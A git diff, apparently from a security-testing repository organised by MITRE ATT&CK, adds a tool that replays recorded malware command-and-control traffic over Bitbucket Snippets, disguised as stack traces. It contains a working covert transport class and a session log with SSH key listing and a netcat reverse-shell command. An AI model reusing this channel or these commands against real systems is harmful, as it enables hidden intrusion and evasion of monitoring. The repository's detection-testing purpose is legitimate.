Merge pull request #86 from ahogue-atlassian/master
Add Custom C2 Protocol - Bitbucket Snippetspatch-7
commit
c3377e74d6
|
@ -0,0 +1,43 @@
|
|||
# Custom Command and Control Protocol
|
||||
|
||||
MITRE ATT&CK Technique: [T1146](https://attack.mitre.org/wiki/Technique/T1094)
|
||||
|
||||
## Communication over Bitbucket Snippets
|
||||
The use of a legitimate service as transport is a common technique to evade detection by masquerading as the legitimate service.
|
||||
|
||||
Below are instructions to run a script to simulate traffic from a malware implant that communicates via a custom protocol implemented in [Bitbucket Snippets](https://confluence.atlassian.com/bitbucket/snippets-719095082.html).
|
||||
|
||||
The malware itself isn't included, just the traffic simulation.
|
||||
|
||||
### Installation
|
||||
|
||||
#### Step 1: Create a new Bitbucket account
|
||||
|
||||
We recommend using a fresh account for this so as not to pollute the snippets of your existing account.
|
||||
|
||||
https://bitbucket.org/account/signup/
|
||||
|
||||
#### Step 2: Include its credentials in `auth.json`
|
||||
In the directory [Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets](Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets):
|
||||
|
||||
```
|
||||
cp auth.json.template auth.json
|
||||
```
|
||||
|
||||
Edit `auth.json` to include the username, email, and password of the Bitbucket account. `auth.json` should not be added to version control.
|
||||
|
||||
### Step 3: Install dependencies
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### Usage
|
||||
To simulate the network traffic, run:
|
||||
```
|
||||
python replay.py
|
||||
```
|
||||
|
||||
You will need to be using Python 3.
|
||||
|
||||
This will make requests to `bitbucket.org` urls, recorded from an interactive session with the malware.
|
||||
The session recording of the malware is available to view and modify at [traffic_history.json](bitbucket_protocol/traffic_history.json)
|
|
@ -0,0 +1,5 @@
|
|||
{
|
||||
"username": "",
|
||||
"email": "",
|
||||
"password": ""
|
||||
}
|
|
@ -0,0 +1,191 @@
|
|||
import datetime
|
||||
import requests
|
||||
import json
|
||||
|
||||
import functools
|
||||
|
||||
|
||||
class BitbucketTransport():
|
||||
"""Send and recieve arbitrary data to a queue implemented in Bitbucket Snippets.
|
||||
https://confluence.atlassian.com/bitbucket/snippets-719095082.html
|
||||
"""
|
||||
|
||||
TITLE_TEMPLATE = "stacktrace|{time}"
|
||||
SNIPPET_FILE_NAME = "debug.log"
|
||||
|
||||
def __init__(self):
|
||||
with open("auth.json") as f:
|
||||
auth = json.load(f)
|
||||
self.email = auth["email"]
|
||||
self.password = auth["password"]
|
||||
self.username = auth["username"]
|
||||
|
||||
self.BASE_URL = "https://api.bitbucket.org/"
|
||||
self.auth = (self.email, self.password)
|
||||
self.history = []
|
||||
|
||||
def push(self, data):
|
||||
"""Add something to the end of the queue
|
||||
|
||||
Snippets looks like this:
|
||||
push() -> [4, 3, 2, 1, 0 ...] -> pop()
|
||||
The numbers indicate in which order items were added to the queue.
|
||||
0 was added first, 4 last.
|
||||
"""
|
||||
|
||||
self.history.append({
|
||||
"history_type": "push",
|
||||
"data": data
|
||||
})
|
||||
|
||||
# Imitate a stack trace to avoid rasing suspicion.
|
||||
metadata = {
|
||||
"title": self.TITLE_TEMPLATE.format(
|
||||
time=datetime.datetime.utcnow().strftime('%b-%d-%I%M%p-%G')),
|
||||
"is_private": True,
|
||||
}
|
||||
|
||||
# Send the file as a POST request of raw text, not an actual HTTP multipart file.
|
||||
files = {
|
||||
"file": (self.SNIPPET_FILE_NAME, data)
|
||||
}
|
||||
|
||||
res = self._api_post(data=metadata, files=files)
|
||||
|
||||
return res
|
||||
|
||||
def pop(self):
|
||||
"""Remove and return the oldest item in the queue.
|
||||
|
||||
Snippets looks like this:
|
||||
push() -> [4, 3, 2, 1, 0 ...] -> pop()
|
||||
The numbers indicate in which order items were added to the queue.
|
||||
0 was added first, 4 last.
|
||||
"""
|
||||
snips = self.get_all_snippets()
|
||||
if not snips:
|
||||
return None
|
||||
|
||||
# Get the oldest snippet
|
||||
snip = snips[0]
|
||||
|
||||
# Delete it
|
||||
snip_content = self.get_content(snip)
|
||||
self.delete_snip(snip["id"])
|
||||
self.history.append({
|
||||
"history_type": "pop",
|
||||
"data": snip_content
|
||||
})
|
||||
return snip_content
|
||||
|
||||
def peek(self):
|
||||
"""Return the oldest item in the queue.
|
||||
|
||||
Snippets looks like this:
|
||||
push() -> [4, 3, 2, 1, 0 ...] -> pop()
|
||||
The numbers indicate in which order items were added to the queue.
|
||||
0 was added first, 4 last.
|
||||
"""
|
||||
snips = self.get_all_snippets()
|
||||
if not snips:
|
||||
return None
|
||||
|
||||
# Get the oldest snippet
|
||||
snip = snips[0]
|
||||
snip_content = self.get_content(snip)
|
||||
self.history.append({
|
||||
"history_type": "peek",
|
||||
"data": snip_content
|
||||
})
|
||||
return snip_content
|
||||
|
||||
def search_filter(self, filter_, pop=False):
|
||||
"""Find the first snippet that matches the provided filter.
|
||||
Args:
|
||||
filter_: Function that returns True for the snippets we want to match.
|
||||
Returns:
|
||||
The first matching snippet (as a string).
|
||||
"""
|
||||
|
||||
snips = self.get_all_snippets()
|
||||
if not snips:
|
||||
return None
|
||||
|
||||
# Walk the front of the queue until we find the oldest item meant for us.
|
||||
for snip in snips:
|
||||
snip_content = self.get_content(snip)
|
||||
if filter_(snip_content):
|
||||
# We can only pop if we found something.
|
||||
if pop:
|
||||
self.delete_snip(snip["id"])
|
||||
return snip_content
|
||||
|
||||
return None
|
||||
|
||||
def pop_filter(self, filter_):
|
||||
return self.search_filter(filter_=filter_, pop=True)
|
||||
|
||||
def peek_filter(self, filter_):
|
||||
return self.search_filter(filter_=filter_, pop=False)
|
||||
|
||||
def delete_snip(self, snip_id):
|
||||
delete_url = "https://bitbucket.org/api/2.0/snippets/" + \
|
||||
self.username + "/" + snip_id
|
||||
requests.delete(delete_url, auth=self.auth)
|
||||
|
||||
def get_content(self, snip):
|
||||
"""Returns the raw text in a snippet object.
|
||||
Args:
|
||||
snip: Dict of snippet metadata from the Bitbucket snippets API
|
||||
Returns:
|
||||
str: The raw snippet text.
|
||||
"""
|
||||
|
||||
url = "/".join(snip["links"]["diff"]["href"].split("/")[:-1])
|
||||
res = self._get_snip_content(url)
|
||||
if res.status_code == 404:
|
||||
# The snippet might have been deleted since we got its id, so we can ignore this.
|
||||
return res.text
|
||||
res.raise_for_status()
|
||||
return res.text
|
||||
|
||||
@functools.lru_cache(maxsize=5)
|
||||
def _get_snip_content(self, url):
|
||||
"""Split out the network request part so we can cache it."""
|
||||
res = requests.get(url + "/files/{filename}".format(filename=self.SNIPPET_FILE_NAME),
|
||||
auth=self.auth)
|
||||
return res
|
||||
|
||||
def _api_get(self, *args, **kwargs):
|
||||
return requests.get(self.BASE_URL + "/2.0/snippets?role=owner",
|
||||
auth=(self.email, self.password),
|
||||
*args, **kwargs)
|
||||
|
||||
def _api_post(self, *args, **kwargs):
|
||||
return requests.post(self.BASE_URL + "/2.0/snippets",
|
||||
auth=(self.email, self.password),
|
||||
*args, **kwargs)
|
||||
|
||||
def get_all_snippets(self):
|
||||
"""Return all snippets in this Bitbucket account."""
|
||||
res = self._api_get()
|
||||
res.raise_for_status()
|
||||
res = res.json()
|
||||
|
||||
# No pagination
|
||||
if "next" not in res:
|
||||
return res["values"]
|
||||
|
||||
snippets = []
|
||||
while True:
|
||||
# Extract the current list of snippets
|
||||
for snip in res["values"]:
|
||||
snippets.append(snip)
|
||||
|
||||
if "next" in res:
|
||||
# Get the next page
|
||||
res = requests.get(res["next"], auth=self.auth)
|
||||
res.raise_for_status()
|
||||
res = res.json()
|
||||
else:
|
||||
return snippets
|
|
@ -0,0 +1,18 @@
|
|||
"""Replay captured traffic from malware using Bitbucket snippets as a C2."""
|
||||
|
||||
import json
|
||||
import bitbucket_transport
|
||||
|
||||
transport = bitbucket_transport.BitbucketTransport()
|
||||
|
||||
with open("traffic_history.json") as f:
|
||||
history = json.load(f)
|
||||
for event in history:
|
||||
print(event)
|
||||
if event.get("history_type") == "push":
|
||||
data = event["data"]
|
||||
transport.push(data)
|
||||
elif event.get("history_type") == "pop":
|
||||
result = transport.pop()
|
||||
if event.get("history_type") == "peek":
|
||||
result = transport.peek()
|
|
@ -0,0 +1 @@
|
|||
requests
|
|
@ -0,0 +1,73 @@
|
|||
[
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "pop"
|
||||
},
|
||||
{
|
||||
"history_type": "push",
|
||||
"data": "{\"type\": \"result\", \"executed_cmd\": \"pwd\", \"result\": \"/home/username/.config/t/\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "pop"
|
||||
},
|
||||
{
|
||||
"history_type": "push",
|
||||
"data": "{\"type\": \"result\", \"executed_cmd\": \"whoami\", \"result\": \"username\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "pop"
|
||||
},
|
||||
{
|
||||
"history_type": "push",
|
||||
"data": "{\"type\": \"result\", \"executed_cmd\": \"ls .ssh\", \"result\": \"Command 'ls .ssh' returned non-zero exit status 2.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "pop"
|
||||
},
|
||||
{
|
||||
"history_type": "push",
|
||||
"data": "{\"type\": \"result\", \"executed_cmd\": \"ls ~/.ssh\", \"result\": \"username-test.pem\\nconfig\\nconfig~\\nid_rsa\\nid_rsa.pub\\nknown_hosts\\nprivate_key.key\\nvagrant\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "pop"
|
||||
},
|
||||
{
|
||||
"history_type": "push",
|
||||
"data": "{\"type\": \"result\", \"executed_cmd\": \"nc 192.168.100.113 -e /bin/bash\", \"result\": \"Command 'nc 192.168.100.113 -e /bin/bash' returned non-zero exit status 1.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
},
|
||||
{
|
||||
"history_type": "peek"
|
||||
}
|
||||
]
|
|
@ -4,8 +4,8 @@
|
|||
|------------------------------|-------------------------------|---------------------------------|----------------------------------------|----------------------------------------|---------------------------------|--------------------------|--------------------------------|-----------------------------------------------|-----------------------------------------|
|
||||
| [.bash_profile and .bashrc](Persistence/bash_profile_and_bashrc.md) | Dylib Hijacking | Binary Padding | [Bash History](Credential_Access/Bash_History.md) | [Account Discovery](Discovery/Account_Discovery.md) | [AppleScript](Execution/AppleScript.md) | [AppleScript](Execution/AppleScript.md) | Audio Capture | Automated Exfiltration | Commonly Used Port |
|
||||
| [Browser Extensions](Persistence/Browser_Extensions.md) | Exploitation of Vulnerability | [Clear Command History](Defense_Evasion/Clear_Command_History.md) | Brute Force | Application Window Discovery | Application Deployment Software | Command-Line Interface | Automated Collection | Data Compressed | Communication Through Removable Media |
|
||||
| [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | [Credentials in Files](Credential_Access/Credentials_in_Files.md) | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | [Browser Extensions](Collection/Browser_Extensions.md) | Data Encrypted | Connection Proxy |
|
||||
| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | [Logon Scripts](Persistence/Logon_Scripts.md) | Launchctl | Clipboard Data | Data Transfer Size Limits | Custom Command and Control Protocol |
|
||||
| [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | [Credentials in Files](Credential_Access/Credentials_in_Files.md) | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | Browser Extensions | Data Encrypted | Connection Proxy |
|
||||
| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | [Logon Scripts](Persistence/Logon_Scripts.md) | Launchctl | Clipboard Data | Data Transfer Size Limits | [Custom Command and Control Protocol](Command_and_Control/Custom_Command_and_Control_Protocol.md) |
|
||||
| Hidden Files and Directories | Process Injection | Exploitation of Vulnerability | Input Capture | [Network Share Discovery](Discovery/Network_Share_Discovery.md) | Remote File Copy | Local Job Scheduling | Data Staged | [Exfiltration Over Alternative Protocol](Exfiltration/Exfiltration_Over_Alternative_Protocol.md) | Custom Cryptographic Protocol |
|
||||
| LC_LOAD_DYLIB Addition | [Setuid and Setgid](Privilege_Escalation/Setuid_and_Setgid.md) | File Deletion | [Input Prompt](Credential_Access/Input_Prompt.md) | [Permission Groups Discovery](Discovery/Permissions_Groups_Discovery.md) | Remote Services | Scripting | Data from Local System | Exfiltration Over Command and Control Channel | Data Encoding |
|
||||
| [Launch Agent](Persistence/Launch_Agent.md) | Startup Items | [Gatekeeper Bypass](Defense_Evasion/Gatekeeper_Bypass.md) | [Keychain](Credential_Access/Keychain.md) | [Process Discovery](Discovery/Process_Discovery.md) | SSH Hijacking | Source | Data from Network Shared Drive | Exfiltration Over Other Network Medium | Data Obfuscation |
|
||||
|
|
Loading…
Reference in New Issue